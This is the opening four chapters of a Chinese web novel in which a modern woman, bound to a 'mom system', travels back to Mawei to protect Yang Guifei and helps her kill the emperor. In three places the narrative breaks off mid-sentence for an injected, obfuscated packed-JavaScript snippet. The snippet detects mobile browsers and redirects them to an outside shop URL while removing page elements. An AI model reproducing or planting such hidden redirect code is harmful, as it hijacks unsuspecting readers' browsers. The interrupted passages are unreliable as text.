《当我绑定亲妈系统后》 1. 第 1 章 郝美丽正在抽烟。 作为21世纪网瘾少女,经历过短视频短剧电视剧网络的轮番洗礼,她对系统这个词毫不陌生,什么【绑定逆天改命系统】、【继承破败老宅却靠它火爆全网】的剧情,她闭着眼都能猜出下一集。 于是,郝美丽也有了自己的游戏系统。 但她这个系统,很不一般。 “你的意思是,”郝美丽总结道,“我要穿进游戏里上赶着给人当妈?” “是的。” “每次就一小时,要是对方不认妈,我就得当场去世?” “回答正确。” “............” 郝美丽深吸一口言:“最后一个问题,你有妈吗?” 系统诚实作答:“没有。” 郝美丽望着天花板,忽然理解了这一切。 这狗逼系统没妈,所以非让别人去做妈,可是就算别人有了妈,也改变不了它没有妈的事实,它怎么就不明白呢? 一声叹息,郝美丽忽然觉得这系统也挺可怜的,指定是因为自己没妈,才看不得别人没妈,到处强行发妈,属于一种程序界的心理代偿。 自觉想通了关键,她顿时觉得自己站在了道德的制高点上,甚至带着一丝怜悯,用试图唤醒对方良知的语气开口道:“系统啊,你没妈这件事吧.......” “滋滋”,电流声划过,郝美丽被电倒在地。 “警告:禁止对系统进行人格侮辱。” “我X你.......” “滋滋”,郝美丽又被电倒在地。 它连妈都没有,算哪门子人格? 郝美丽不明白,但理智让她选择了闭嘴。她刚不过电击小王子,只能光速滑跪,并立刻转换思路——既然反抗无效,那就试试曲线救国,怎么也得从这狗系统手里抠出点好处来! “等一下!”郝美丽讨价还价,“这卖命的活儿,福利待遇呢?你一个系统,总不能白嫖我吧?” “宿主,你将获得的报酬,超越一切世俗物质。” “说人话!” “是爱。” “……说具体点!” “那份充盈在你心间,让你灵魂得以升华的——母爱。” 系统用一种近乎布道的语气说道。 郝美丽深吸一口气,缓缓吐出两个字:“牛逼。” 她算是见识了,这系统不仅想白嫖她,还想让她自己PUA自己,认同当妈是件好事?叔可忍婶婶不能忍! “该死的缅甸狂徒,竟敢耍我!” 郝美丽彻底愤怒了!“别人的系统要么给钱要么给挂,你竟然给我爱的供养?比我那杀千刀的前男友还下贱,他最多是骗我感情,你不仅电我还PUA我,当是我当斯德哥尔摩综合症患者吗!” “我不干!” “已收到宿主拒绝接受任务的请求,即将进入自毁程序,系统将和宿主一起死亡,倒计时,5,4,3.......” “.......我不干谁干呢?你看,你又急。” 郝美丽深吸一口气,努力挤出一个慈祥的微笑:“话说回来,我要当谁的妈?让我看看是哪个小倒霉蛋……啊不是,是我的好大儿?” 系统看她服软,停下自毁程序,一道幽蓝的光屏在郝美丽眼前展开,几幅动态画面轮番浮现:先是刀光刺眼的一片高坡,将士们的兵刃指向一个老皇帝,和他身前那个伏地痛哭的宫装女子;紧接着画面一转,一条漫无边际的黄沙古道上,送亲的队伍蜿蜒如长蛇,队伍中一位怀抱琵琶的女子正垂泪弹奏…… 郝美丽盯着画面,端详着那个面色仓皇的老皇帝,难以置信地戳着屏幕:“这不会就是我的好大儿吧?怎么长得跟个老菜帮子似的?我这是喜当妈还是喜当奶?” 下一秒,屏幕中跪在皇帝身前的那个女子被一道红框高亮标记,不断闪烁,“更正,这位才是您的女儿。” 郝美丽倒吸一口冷气,刚才离得远没看清,现在被标红放大才看清了那张脸——美得惊心动魄,也惨得我见犹怜。 “哇,原来我女儿这么美!” 虽然郝美丽嘴上骂着系统给的爱是狗屁,但当她看着屏幕上女孩泪流满面的脸时,心里却不由自主地软了一下,“我女儿怎么跪在地上,对面的老登是谁?是不是欺辱我女儿了?” “她叫玉娘。” 玉娘?!那个一骑红尘妃子笑的贵妃?中国古代四大美女之一的羞花? 郝美丽一拍大腿,怒道:“所以我女儿玉娘,16岁嫁给王爷做王妃,21岁被那老登逼着离婚当道姑,26进宫伺候死老头,38就被老登勒死?死后上千年还要被泼红颜祸水的脏水?” 郝美丽烟都不抽了,这个妈,她当定了! 谁都敢欺负她女儿!都得死。 系统看着郝美丽跃跃欲试,贴心地打开了时空之门,并友情提示:“请注意,单次时长仅限一小时,超时自动返回。” 郝美丽一脚踏进门里,忽然又缩了回来,眯着眼问:“对了,你光让我干活,还没报上名号,你到底是什么系统?” 系统静默了一秒,然后,郝美丽的脑海中响起了四个掷地有声的字:“亲妈系统。” 郝美丽:“……” * 高坡之上,除了弥漫着兵刃的铁锈、汗水的酸馊,还有一种更浓重的气息——绝望。 自数万军士随玄宗西行至此,缺衣少食还算是小事,京城被贼人夺走亦不稀奇,皇帝老儿是带着儿子妃子逃了,可十万将士的家中亲眷还留在那里,怎么办? 皇帝不肯给他们交代,他们就用刀逼着皇帝给他们一个交代,数不尽的士兵围着皇帝的行帐,三军哗变就在眼前。 “诛杀妖妃!以正国法!” “杨奸相祸国,皆是此女蛊惑君心!” “杨奸相已被我等正法!贵妃亦难逃干系!” 玉娘跪在硌人的土地上,衣裙早已被尘土与泪痕玷污,失去了所有颜色,周遭是黑压压的甲胄,是无数双充血的眼睛,他们都想要她的命! “陛下!将士们已三日未曾饱食,叛军转眼即至,皆因杨奸相这等奸佞祸国!杨奸相伏诛,然妖妃尚在,军心难安!请陛下圣裁!”一名满脸血污的将领“铛”地一声将佩刀半出鞘,半是威胁半是请求道。 他身后黑压压的士兵立刻跟着鼓噪起来: “杀了妖妃!” “清君侧,正朝纲!” 面对汹涌群情,老皇帝李玄脸色煞白,向后微退半步,一时竟说不出话来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823781|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让看着他的玉娘的心里又寒了几分。 陈将军上前一步,看起来像是训斥他们:“放肆!尔等岂可逼迫圣上?” 可他这句话还没落下,又一句话就跟了上来:“陛下,杨奸相勾结叛军,意图不轨,其罪当诛。外戚之所以能坐大,宫中若无呼应,岂能至此?根源所在贵妃是也,请陛下斩妖妃已安军心......” 陈将军话音未落,高太监扑跪在地道,痛哭道:“陛下,老奴万死!可有些话,老奴不得不讲!陛下自然是圣明的,贵妃娘娘虽无心,可自她入宫,陛下为她耗费多少内帑?杨奸相更是倚仗娘娘恩宠,才敢如此肆无忌惮!终究是让将士们寒了心啊!” 被众人这样指责,跪在地上的玉娘抬起头,泪水涟涟,声音颤抖的辩解:“陛下!臣妾一介女流,何曾干政?族兄之罪,臣妾毫不知情!那些用度,皆是陛下恩赏,臣妾岂敢主动索取?为何一切都要归罪于臣妾?” “你还敢狡辩!”那带头发难的将领怒吼道,“若非为你一笑,岭南贡使跑死多少快马?若非为你一曲歌,教坊耗费多少银钱?红颜祸水,古今皆然!” 陈将军也冷声道:“贵妃娘娘,事到如今,还需多言吗?大军有哗变之危,社稷亦颠覆之难,这些不都是你的错吗?” “贵妃娘娘,既然是您的错,认下便是,为何还要让陛下为难呢?”高太监跪在地上,哭着说。 玉娘又缓缓环视四周——那些曾经谄媚着她的臣子,那些享受过她赏赐的宫人,那个她曾以为能托付终身的君王…… 每一张脸上,都写满了冷漠,她忽然觉得,自己这三十八年,活得像一个天大的笑话。 她边哭边笑:“原来,这万里江山竟然是我葬送的?与诸卿无关?与陛下无关?实在是可笑!” 听了这声嘲讽,众人面上都不好看,尤其是那将领,竟抬起脚,用鞋底碾在玉娘按在地上的纤指上,狠狠一拧,“笑?你这祸国的贱婢,也配笑?” 因着十指连心,这钻心的痛楚让玉娘浑身一颤,却死死咬住下唇,不让呜咽出声。 可这样的忍让并没有让他们满意,又一名军士朝她啐了一口,浓痰落在她散乱的鬓发边:“我兄战死边境尸骨无存,都是你这妖妃的错!” 好像是玉娘让潼关失守京城沦陷一样。 面对这场闹剧,李玄闭上眼,仿佛不忍,又仿佛只是厌倦。终于,他还是低了头,道:“众卿所言甚是,一切皆因玉娘骄纵奢靡,迷惑圣心,方致外戚坐大,酿成今日滔天之祸!” “朕不能因一妇人而失天下!” “她便交由尔等处置,任杀任刮,悉听尊便!” 话音刚落,就有士卒前来攀扯玉娘,要将她就地正法,李玄背过身去,似乎是不忍心看这一面。 就在这关键时刻。 一片莫名的光晕凭空出现,未等众人惊呼,一个长发飘逸、身着奇特服饰的女子便显现身形,她无视所有指向她的兵刃,径直蹲在玉娘面前,目光扫过那被踩踏红肿的手指,眼底闪过一丝寒光。 “乖女儿,”她无视周遭的剑拔弩张,声音温柔得不像话,“这老登刚才是不是说,要把你任杀任剐?” “乖女儿,想不想砍死这个老登?我有一百零八种杀他的手法。” 2. 第 2 章 “你是哪里来的妖孽!”那将军握着刀上前呵斥。 高太监也连滚爬爬地挡在李玄身前,尖着嗓子喊:“护驾!快护驾!” 士兵们一阵骚动,握着兵器的手都在发抖,他们可是亲眼看见这女人是从光圈里蹦出来的!难不成是妖怪?李玄心中也骇然无比,此人究竟从何而来? 玉娘心道难道自己要死了,所以有鬼怪接引?她还未及开口,那“鬼怪”又说话了。 “玉娘,别怕,”郝美丽伸手,轻轻擦去她脸上的泪痕,“我是妈妈。” 妈妈?玉娘怔怔地任由她动作,终于看清了对方面容——一个约莫二十岁的姑娘,容貌与自己并无半分相似,怎么会是妈妈? 郝美丽瞧着玉娘含泪懵怔的模样,心头火起——看看!都是这群贱男人,把她好好的女儿折磨成什么样子了! 都该死! 还没等郝美丽发脾气,有人坐不住了。 “妖孽!休得胡言!”那带头逼宫的将军又惊又怒,强撑着胆子挥刀上前,“装神弄鬼,看我斩了你!” “小心!”玉娘惊呼,也不知哪来的勇气,竟一把将郝美丽搂进怀里,闭眼准备硬扛这一刀。 结果——“铛!” 一声脆响,那刀在离郝美丽脑门十公分的地方就像砍中了铜墙铁壁,震得那将军虎口发麻,刀都脱手掉在地上了。 全场死寂。 刀,竟砍不进去!她真的不是人! 郝美丽从玉娘怀里探出脑袋,瞥了眼那将军惊骇的脸,慢悠悠地开口:“啧,业务不太熟练啊大哥,砍人都不带瞄准的?” 她站起身,随手捡起地上那把刀,在手里掂了掂,目光凉飕飕地扫向那将领:“就是你,从刚才开始就叫叫叫,还敢踩我女儿的手是吧?” 那将领只觉得一股寒意从脚底板直冲天灵盖。青天白日的,突然冒出个刀枪不入的“人”,现在还拎着刀对他笑! 他下意识后退两步,声音都变了调:“你,你想干什么!你究竟是谁!” “我?”郝美丽挑眉,“我是玉娘的妈,没听见吗?要不要再给你重复一遍?” “荒唐!”高太监尖着嗓子插话,“贵妃出身弘农杨氏,父母早亡,由叔父抚养长大,怎会凭空多出个母亲!” “啧。” 郝美丽扭头瞥了他一眼,扯出一个笑:“死太监,急什么?等我收拾完这个贱人,下一个就轮到你。” 一句话,吓得高太监像被掐住脖子的鸡,瞬间噤声。 就在这诡异的寂静中,陈将军壮着胆子开口了。他仔细观察着郝美丽,试探道:“这位上仙?不知是否是我等冒犯了您?我等皆是唐朝臣子,这位正是当朝天子玄宗皇帝。此间...想必是有什么误会?” “对对对!上仙明鉴!”李玄像是突然抓住了救命稻草,连忙摆出痛心疾首的表情,“玉娘乃是朕的挚爱,朕向来视若珍宝,今日实在是被乱军所迫,不得已才......朕心中痛楚,实在惭愧至极啊!还望上仙体谅朕的难处,助我夫妻渡过此劫!” 郝美丽压根没理会上仙不上仙的,她掂着刀,慢悠悠晃到那将军面前,那将军还想后退,脚下却不知被什么东西猛地一绊,“噗通”一声重重摔了个狗吃屎,未等他挣扎,郝美丽已经走到了他面前。 “刚才是这条腿踩我女儿手的,对吧?” “妖、妖孽!你……”将军的咒骂还没说完,就惨叫起来,原来郝美丽挥手一刀,血光迸现,他的一条腿几乎被砍断,痛得他满地打滚,嚎叫声响彻坡地。 郝美丽砍完后,停下来,偏头看了看,像是忽然想起什么,略带歉意地“啊”了一声:“不好意思,我好像记错了。” 话音未落,手起刀落,另一条腿也遭了殃。 “是这条腿才对。”她点点头,确认道。 两刀下去,鲜血汩汩涌出,迅速染红了一片土地,那将领的嚎叫渐渐微弱,身体抽搐了两下,竟因剧痛和失血过多,直接晕死过去。 郝美丽随手把沾血的刀扔在地上,发出“哐当”一声响。她抬眼,目光扫过面前噤若寒蝉的众人,最后落在面无人色的李玄身上,微微一笑:“你刚才说什么来着?” “朕、朕说......”李玄吓的几乎要跌倒,这个将军被踩了玉娘一脚就被砍断了双腿,那他?他这个下令处死玉娘的人会是什么下场? “妖怪!我跟你拼了!”地上那将军的副将红着眼吼道。都逼宫逼到到这一步了,不拼也是死!他一个眼色,十几号人同时挥刀冲了上去。 “小心!”玉娘急得大喊。 却见郝美丽连躲都懒得躲。 “铛啷啷!” 十几把钢刀如同砍在了无形铁壁之上,震得众人兵器脱手!若说第一次还能自欺欺人是巧合,这第二次,便是毋庸置疑的神迹,或者说妖法! “妖孽!妖孽!” “不不,神仙神仙,神仙显灵了!” 刚才还杀气腾腾的将士们,此刻逃的逃跪的跪,看向郝美丽的眼神里写满了恐惧,再没一个人敢上前动手。 郝美丽表面稳如老狗,心里其实慌得一比。虽然电击小王子保证过这一小时内她绝对无敌,但第一次实战装逼,手心里还是捏了把汗。 幸好,这波操作很成功。 而玉娘,看着郝美丽的背影,心头剧震,这凭空出现的女子,不畏刀剑,不惧皇权,一言一行皆是为她撑腰,这么多年以来,第一次有人这般毫不犹豫地站在她身前。 她实在忍不住落泪,难道,她真的是自己是母亲?可在玉娘记忆里,母亲是一个性格温婉柔顺的女子,从不忤逆丈夫...... 若郝美丽知道她心中所想,定会揽住她肩膀笑道:“傻女儿,谁规定人只能有一个妈?一个妈温柔似水,另一个妈帮你砍人,美得很美得很。” 可眼下不是玩笑的时候。 郝美丽还没有砍够人。 当她把眼神放到李玄身上时,那狗皇帝突然开悟了,扑通跪下大喊:“上仙,您是玉娘之母,即为我岳母大人,我愿即刻册封玉娘为皇后,以天下供养,此生绝不负她!” 陈将军等大臣也齐刷刷跪倒,磕头如捣蒜: “娘娘贤德,正位中宫实至名归!” “臣等这就起草诏书,立后大典定要办得风风光光!” “方才定是有人妖言惑众,臣等对娘娘忠心可鉴啊!” 高太监更是连滚带爬道:“老奴这就去取传国玉玺,为娘娘加盖金册!” 方才还喊着诛杀妖妃的众人,此刻争先恐后地表着忠心,生怕慢了一步就被这位上仙拿去试刀。 “啧。” 郝美丽把刀一扔,回到玉娘身边,眼睛亮晶晶地问:“宝贝女儿,你怎么说?想不想当个皇后玩玩?” 玉娘茫然四顾,刚才面目狰狞的众人突然变得格外和善起来,连他的三郎也突然改了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823782|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意,不仅不杀她,还要让她当皇后,而这一切,全都是因为面前的这位奇女子。 “妈...妈妈?”她试探着轻声唤道。 “哎!"郝美丽响亮地应了一声,笑得见牙不见眼,“我就是你妈!亲妈!” 被这样一位国色天香的美女看着,就算是天上的月亮,郝美丽也愿意给她摘下来!她的宝贝女儿,就是美! 玉娘低头看着自己红肿的手指,又望向郝美丽衣襟上斑驳的血迹,一时间心乱如麻,这一切发生得太快,快得让她不知所措。她这边还在迟疑,那边跪着的众人却已经吓得魂飞魄散。 “爱妃,朕此后必定爱你重你,爱妃......”李玄见玉娘迟疑,立刻开口诱骗,他知道玉娘最是心软慈善,他这样恳求一番,必定能和好如初,那他得了这样一位上仙庇佑,江山必将再次稳固。 就在李玄做着美梦时—— “你住嘴!”玉娘突然崩溃大哭。 她扑倒郝美丽怀里,似乎要将这辈子的委屈都哭出来,她本该有幸福的一生,她本该和爱人相守到老的,她本该无忧无虑过一辈子的! 可这一切,都被这个男人,这个又老又丑又恶心又下作又卑鄙又无能的男人毁了!谁来赔她几十年大好青春?谁来赔她千年来的清白名声? “妈妈,我要杀了他!”玉娘边大哭,边喊道。 妈妈就在眼前,妈妈能为自己做主,在郝美丽的怀里,玉娘这次流的泪再也不是痛苦了,而是痛快!自己的冤屈终于可以洗刷了!自己受的欺辱终于有妈妈为自己做主了! “妈妈,我要杀了他!我要杀了他!”玉娘又哭着重复一次次,直接把郝美丽心酸成不像话,可怜的女儿,该死的男人! “好好好,咱们这就杀了他!” 这话刚落,李玄疯了,高太监也疯了,陈将军也疯了,“护驾!护驾!快来护驾!护驾啊!!” 没有一个士兵听命,他们跪倒在地一声不吭,他们不敢,不敢违抗郝美丽,她好像比皇帝还要神圣,难道李棠江山真的要亡了? 郝美丽从地上捡起那把带血的刀,递到玉娘手中,两个人一起握紧那把刀,走向李玄,一步步,在李玄眼中如同鬼魅恶魔,可怕极了。 李玄颤抖着拿起刀,对着她们说:“别过来!你们别过来!” 可没人在乎他说了什么,两个女子持着刀一步步走进,越是走向他,玉娘的眼泪越是多,她是喜悦的,高兴的,难以控制的激动,她终于终于可以对这个老东西说不,她终于可以反抗可恶命运强加给她的枷锁,她终于可以亲手杀了这个贱男人! 走到李玄面前,他已经崩溃了,玉娘再看,只发现了他的丑陋不堪,怎么之前从未觉得这身龙袍穿在他身上这样恶心? 玉娘吸了一下鼻子,用手轻轻抚开郝美丽覆着的手,她没有胆怯,她只是希望这次复仇由她自己完成。郝美丽感受到了,轻轻松开手,站在她身后,守护着她。 “噗嗤!” 刀捅入李玄的腹部,鲜血激荡,溅在玉娘脸上,竟然是温热的,和她的泪一样。 刀“哐当”一声从玉娘手中滑落,她怔怔地看着李玄的尸身,方才支撑着她的力气瞬间消散,取而代之的是一阵天旋地转的虚脱。 就在她双腿发软之际,一个温暖的怀抱稳稳地接住了她,郝美丽紧紧搂住女儿,感受着怀中的身躯正细微的颤抖。 “别怕,宝贝女儿,我在。” 3. 第 3 章 高坡之上,本该死的人是玉娘,可现在死的人变成了李玄。 一阵风吹过,李玄尸体的血腥味萦绕在众人鼻尖,所有人无端打了个冷战,皇帝死了?皇帝死了! 皇帝被杀了,皇帝被玉娘杀了! 郝美丽抱着全身颤抖的玉娘,她做了太久的娇花,这是她第一次杀人,她还没有那么熟练,她还不知道怎么平复心情。郝美丽任由自己的女儿陷入混乱思绪,有她在,她不会让她再受一点委屈。 玉娘恍惚中,又觉得这一切都是梦,是不是自己死了,到了阴曹地府?她有些不清醒,她尝试抱紧郝美丽,却感受到了她的体温,她抬头,又看到了她关切的眼神。 她在担心自己。 “妈妈......”玉娘轻轻的说。 “我在。”郝美丽立刻应她。 “妈妈......” “我在。” “妈妈!” “我在!” “妈妈,妈妈,你怎么来的这么晚......”玉娘顾不上脸上血污,再次投入郝美丽怀里,大哭起来,这三十八年来,深宫里所有娇宠不过是金丝雀,深深牢笼挣脱不得,是生是死皆由他人。 而如今,终于有了妈妈。 “都是妈妈的错,都是妈妈的错,妈妈不好,让你受委屈了......”玉娘的泪流到郝美丽的肩膀上,更流到了她心里。郝美丽头一次庆幸,她有了这个系统,她能看到自己的女儿,能为她做主。 “妈妈,不要离开我,不要离开我,我害怕......”玉娘将郝美丽抱的更紧,她现在很需要郝美丽,她像一只雏鸟,将所有的感情倾注在郝美丽身上,依赖又眷恋。 这一次,郝美丽沉默了。 “系统,我还有多少时间?” “还剩下23分钟57秒......” 郝美丽头一次恨时间过得这么快,怎么只有一个小时?她怎么能离开她的女儿,她开始焦虑起来。 二十多分钟后,她就要离开这里了。可郝美丽看了看围绕着她们的几万将士,她一离开,她的宝贝女儿岂不是又如羊入虎口? 不行! 郝美丽怀里抱着玉娘,瞟了一圈,看到了紫袍官服的陈将军,她心里有了主意。 她面对所有人,大声喝到:“李玄德不配位,天数已尽,我今降世为新主而来,我女玉娘为我之分身,若我女有意外,则尔等皆难逃一死!” 这番话,实在是骇人耸听! 天降神女,斥责李玄不配为帝,这这这? 郝美丽一指陈将军,道:“天命已下,你还不拨乱反正侍奉新主,更待何时?” 陈将军大骇,皇帝死了,他这个将军如何自处?他立刻连连磕头,道:“谨遵上仙法旨,听命于上仙之女!” 郝美丽点点头,对诸将士道:“尔等侍奉我女,日后富贵尊荣可尽享,若敢忤逆我女,则如这废帝下场一般!” 一番疾言厉色,早就吓得诸位将士乖乖臣服,皇帝被仙人杀了,还有什么好说的?李玄再自诩天子,也没有一个仙母救他的狗命,谁才是正统大道,一目了然。 有机灵的,竟然将玉玺送了过来,下跪道:“恭迎上仙,特献上传国玉玺。” 郝美丽接过来掂了掂,随手就塞到玉娘手里,道:“乖女儿,你看,妈给你弄了个玩具,喜欢不喜欢?” 没想到玉娘看也不看玉玺,只泪眼朦胧的望着郝美丽问:“妈妈……你是不是要走了?” 郝美丽心头一酸,知道瞒不住了。 她挥挥手,对其他人说:“你们都下去。” 待众人退下,玉娘仍紧紧抱着郝美丽不肯松手。郝美丽轻拍着她的背,耐心安抚道:“好孩子,妈每次顶多只能待一个小时,但你放心,妈以后还会来看你的。” “一个小时?”玉娘努力理解这个词。 “也就是半个时辰。”郝美丽道。 “那妈妈,你下次什么时候再来?”玉娘迟疑了一下,还是问出了口。她害怕她再也不来了。 “在你需要的时候。”郝美丽也不清楚下次是什么时候,但看着玉娘眼中的脆弱,还是选择哄哄她,让她不那么害怕。 玉娘沉默了,不再说话,将头重新埋进郝美丽的怀抱里,似乎想要获取更多的温暖,她在心里默默想,原来妈妈的怀抱,竟然这么有安全感。 玉娘想在她怀里做个小鸵鸟,可郝美丽却不能这样,父母之爱子,为之计深远。她只剩下几分钟的时间了,她得给宝贝女儿安排好一切。 她将脸贴近玉娘,对她进行最后的嘱咐:“等我走后,你要学会狐假虎威,说我给你留下了秘宝,来控制陈将军。陈将军是聪明人,越是这样,他越不敢动你,反而会借你的势来稳住局面。” 玉娘轻轻哼了一下,意思是听到了。 郝美丽拍拍她的背,继续说:“要记住,借来的势终归不是自己的。你得尽快挑选几个身家性命与你绑在一起的人,让他们成为你的手脚和眼睛。对任何人,都要守住自己最后的底牌,明白吗?乖女儿?” 玉娘沉默了一息,反而问:“妈妈,为什么我要做这么多,我真的好累,不堪重负......” 玉娘终于说出了口,这些从未对别人说的话。每一个日夜里,不能忤逆君王所积累的情绪,一点点积压起来,变成了心头上的大山,终于在今天,爱情这层遮羞布被彻底扯下后,变成了足以引爆她整个人的火山惊雷。 玉娘厌弃了自己。 他不爱她,她亦不爱他,她是被迫的,她没办法拒绝,她必须带着笑脸去面对那个丑陋的男人,二十年的日月,八千余天,多么残忍。 玉娘,不想继续了。 就在玉娘心气彻底消散之前,一滴热泪滚落在她脸上,不是她自己的眼泪,玉娘愣了一瞬,是妈妈的眼泪。 她抬头,郝美丽已经泪流满面了。 “妈妈......” 玉娘悄声道。 这回,轮到郝美丽抱着她嚎啕大哭,为什么你要受折磨多的苦?为什么我现在才遇到你,为什么上天这么不公平? 这个世界强加给她的苦痛,早已超出她所能承受的,可这个世界却从不给她反抗的机会,任由她被男人肆意愚弄百般欺辱,郝美丽的心里像燃了一团火,她想大声说不可以,不可以这样对她,可那些伤痕却历历在目,已经存在太久太久了。 所以她身上的痛,也痛在了她的心上。 “对不起,对不起,对不起......”郝美丽连声说,垂泪不止,她很愧疚。 这是玉娘见过最特别的一滴泪,仅仅一滴,就浇灌了她的心,她也从郝美丽的眼里,读懂了她未说的一切。 “妈妈,你是希望我像杀了他一样,去反抗,去争夺属于自己的命运吗?”玉娘愣了很久后,问。 可是这次,却没有回答了。 因为一个小时的时间到了,郝美丽已经消失了,就好像从未没有出现过,玉娘伸出的手停滞在半空,脸上的泪痕未干,手里还拿着郝美丽给她的玩具。 “妈妈......” * 眼前的景象从高坡的腥风血雨,切换回自己熟悉的房间,郝美丽脸上的泪痕还没干,她猛地吸了一下鼻子,带着未散的哭腔急声追问:“系统!下次!下次什么时候能去?” “宿主权限不足,每月仅能穿梭一次。” “一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823783|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月?”郝美丽手忙脚乱地抓起手机,屏幕亮起,清晰地显示着——2025年11月25日,“所以我要等到12月1号?整整五天?” “是的,宿主。” 玉娘她一个人,在那虎狼环伺的地方,怎么撑得过去?她越想越后悔,越想越害怕——早知道就该把宫斗剧里那些招数全给她灌进去,该怎么揽权,该怎么用人,该怎么分辨忠奸...... 她心乱如麻地来回踱步,完全没注意到脚下——那把沾着暗红血渍的唐代军刀,正静静地横在地上,锋刃上属于李玄的血迹已经干涸发黑。 走了好几圈,郝美丽冷静了下来,叛军之乱持续八年,玉娘一个人在那个乱世里活不下去的,她需要更多的帮助。 郝美丽拿出手机开始打电话。 “喂,郑大钱......” 半个小时候后。 电话那边的人语调变了,对方用一种很诡异的语气重复着:“你的意思是说,你绑定了一个游戏系统,玉娘是你女儿,你刚去了胤朝,在高坡和玉娘一起杀了李玄?” “是的,没错,我说几遍了!”郝美丽有点恼意。 “......” 对方沉默几息后,道:“好好好,我知道了,你交代的事我会办,你等我一下,我安排一下人手。” 郝美丽挂了电话,心里踏实一些,郑大钱是她大学同学,人在美丽国,什么人都认识,一定可以通过她帮助玉娘的。 她冷静下来后,才发现地上那把刀,她把它拿起来放在桌子上,没多管,她刚准备去接杯水喝。 门铃响了,是她和郑大钱的另一个好朋友常开心上门了。一进入大门,常开心把她左左右右上上下下看了一遍,打电话给郑大钱。 “喂,大钱,人见着了,没什么大事,我现在带她去医院做个CT检查检查......” “你们俩什么意思!我没病!” “哎对对对,你没病。” “大钱,美丽这事有点大啊,你看她人都开始说胡话了......”常开心一边敷衍她,一边和郑大钱沟通。 “你们!” 郝美丽很生气,拿起桌子上的军刀递过去,“这就是那把杀了李玄的刀,你快看!” 常开心只看了一眼,就发现了不对劲,这把刀身狭长直,仅在锋刃处有内弧,纹理细密,刀茎为柄木包裹,装配金属刀镡,这把刀非常不一样。 她立刻挂断电话,转而向郑大钱发起视频邀请,镜头一接通,她甚至来不及寒暄,直接将镜头对准刀:“大钱,别看人,看刀!仔细看!” 视频那头,原本一脸担忧的郑大钱,在画面聚焦的瞬间愣住,她家学渊源,一眼便知这绝非仿品。 静默足足持续了五秒,郑大钱再开口时,声音因极度震惊而有些沙哑:“美丽……你详细说说,你看到的那些人都穿了什么?” …… 三个小时,从科学到玄学,从历史到现实,还有桌子上的刀,最终让好友在极度震撼中,被迫接受了这个荒诞的真相。 “也就是说,”常开心的声音有些发飘,她指了指郝美丽,“你,绑了个游戏系统,而我们正在策划如何拯救一千多年前的贵妃?而且任务失败你会死。” 郝美丽重重地点了点头。 “所以,我要去大美丽国一趟。” 一天后,国际航班刺破云层。 郝美丽关掉平板上密密麻麻的史料,指尖在舷窗上轻轻划动,一遍遍勾勒着同一个汉字——“玉”字,她闭上眼,仿佛能穿越时空,触摸到女儿温热的脸颊。 “玉娘,”她在心底默念,“还有五天。” “别怕,等妈来。” 4. 第 4 章 身边没有她了,玉娘闭上眼,再睁开。 这一切都发生的太快了,快到让她觉得妈妈的离去是比死亡还要恐惧的事,妈妈怎么能离开她呢?她需要妈妈。 可妈妈已经离开了。 玉娘深呼一口气,让更多的氧气进入自己的胸腔,她试着换了个动作,变成还在妈妈怀里的姿势,好像得到了一丝虚无的安慰。 妈妈怎么离开了? 玉娘又想哭了,可她还没哭出来,就有动静传来,原是陈将军进来了,她止住眼泪,想着妈妈脸上那种不羁的神色,也模仿着露出了那种表情。 陈将军久候无讯,终究按捺不住入帐查看,一见玉娘脸上那与上仙如出一辙的表情,心头当即一凛,他小心翼翼的问:“娘娘,敢问上仙何在?” 没想到玉娘瞟了他一眼,冷笑道:“我妈也是你能问的?” 陈将军连忙磕头,道:“娘娘息怒!是臣失言!只是李胤皇帝的尸身还在这里,终究不是长久之计,不知该如何处置?” 玉娘看了李玄的尸体一眼,厌恶极了,道:“扔出去喂狗。” 陈将军骇得抬头:“娘娘?!” 可玉娘已径直从他身边走过,裙裾拂过地面,未曾有片刻停留,陈将军僵在原地,良久,才敢吩咐左右:“将尸身收敛起来。” 陈将军命人草草收殓了李玄的尸身,送往太子李亨处,他前脚刚走,兵卒们就开始交头接耳,将那上仙降世、刀枪不入的场面描绘得活灵活现。 一时间,“玉娘乃上仙之女,天命所归”的低语,在大胤军队中蔓延开来,愈演愈烈。 陈将军沉默地听着,却无力阻止。 先不说几百人亲眼所见、亲耳所听,此事早已宣扬开来,无论如何也掩盖不了。更何况,他陈将军亲身经历此等神异,心中又何尝不是充满了震撼与恐惧? 上仙还特地指了他,要他协助玉娘,他岂敢不从?他有几个脑袋能抵得过上仙的法令? 故而,当陈将军将李玄的尸身送至太子面前,并如实禀报高坡上发生的一切时,语未落地,太子身边的近臣中已响起几声嗤笑。 